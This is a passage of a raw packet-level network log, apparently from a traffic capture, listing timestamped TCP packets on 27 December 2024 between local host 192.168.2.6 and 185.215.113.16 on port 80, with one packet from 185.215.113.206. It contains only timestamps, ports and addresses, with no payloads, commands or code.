Dec 27, 2024 08:50:57.475622892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.476205111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476218939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476231098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476308107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476330996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.476454973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.476968050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476980925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.476993084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.477015972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.477037907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.477647066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.477757931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.530282974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530308008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530319929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530523062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530566931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.530586958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530601025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.530658007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.530658007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.530677080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.531362057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.531383991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.531397104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.531440973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.531455040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.531455040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.532094955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532145977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532159090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532658100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532660007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.532697916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532712936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532818079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.532849073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.533451080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.533579111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.533591032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.533607960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.536600113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.566972017 CET	80	49783	185.215.113.206	192.168.2.6
Dec 27, 2024 08:50:57.571726084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.571785927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.571800947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.571841002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.571871042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.572069883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572120905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572134018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572144985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.572520971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.572592974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572616100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572628021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.572654963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.572738886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.573386908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.573431969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.573443890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.573457956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.573529959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.573554993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.574165106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.574227095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.574239016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.574251890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.574315071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.574340105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.574969053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575048923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575061083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575078964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.575107098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575131893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.575778961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575818062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575834990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.575849056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.575869083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.575881958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.576565027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.576576948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.576589108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.576613903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.576685905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.576709032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.577322960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.577361107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.577372074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.577394009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.577455997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.577483892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.578098059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578162909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578175068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578186989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.578242064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578265905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.578896046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578957081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578969002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.578980923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.579057932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.579083920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.579735041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.579747915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.579760075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.579775095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.579790115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.579816103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.580476999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.580507994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.580539942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.580554008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.580622911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.580662966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.581294060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.581336975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.581350088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.581362009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.581387043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.581406116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.581783056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.582043886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582103968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582115889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582149029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.582185030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582848072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582901955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582915068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.582921982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.582988024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.583009958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.583681107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.583741903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.583754063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.583766937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.583844900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.583865881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.584686995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.662975073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663000107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663012981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663191080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663213015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.663232088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.663235903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663249969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663338900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.663460016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.663938046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.664515972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.676809072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676850080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676861048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676934958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676948071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676960945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.676963091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.677421093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.677577019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.677623987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.677634954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.677716970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.677742004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.678365946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.678423882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.678436995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.678448915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.678494930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.678507090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.679068089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.679130077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.728909969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.731858969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.731911898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.731925964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.732016087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.732039928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.732218027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.732258081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.732263088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.732275963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.732311010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.732403040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733022928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733058929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733071089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733108997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733139038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.733139038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.733192921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.733671904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.733791113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734074116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734087944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734102964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734107971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.734153986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.734189034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734842062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734863043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.734874964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.736639023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.772958040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773123980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773135900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773188114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773201942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773207903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.773216009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773247957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.773839951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773869991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.773896933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773910046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.773955107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.773983002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.774091005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.774652958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.774703026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.774717093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.774735928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.774775982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.774838924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.775489092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.775504112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.775516987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.775530100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.775558949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.776220083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.776266098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.776266098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.776281118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.776348114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.776324987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.776381969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.777020931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777040958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777053118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777168989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777204990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.777791977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777853012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777868986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777898073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.777929068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.777972937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.778578997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.778598070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.778609991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.778634071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.778711081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.778767109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.779371023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.779428005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.779441118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.779464960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.779548883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.779608011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.780201912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780215025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780226946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780292988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780327082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.780940056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780985117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.780997992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.781059980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.781059980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.781076908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.781744003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.781775951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.781788111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.781833887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.781833887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.781878948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.782537937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.782582998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.782597065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.782658100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.782658100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.782672882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.783335924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.783385992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.783399105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.783447027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.783484936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.784104109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784148932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784161091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784187078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.784224987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784262896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.784884930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784940958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.784954071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.785026073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.785057068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.785679102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.785742044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.785751104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.834532022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.864427090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864484072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864500999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864567995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864599943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.864617109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864634037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864643097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.864690065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.864717007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.865330935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.865818024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.878293991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878345013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878362894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878424883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878609896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878654003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878668070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.878684044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.878707886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.878763914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.879446983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.879476070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.879492998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.879518032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.879518032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.879543066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.880266905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.880310059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.880350113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.880605936 CET	49752	80	192.168.2.6	185.215.113.16
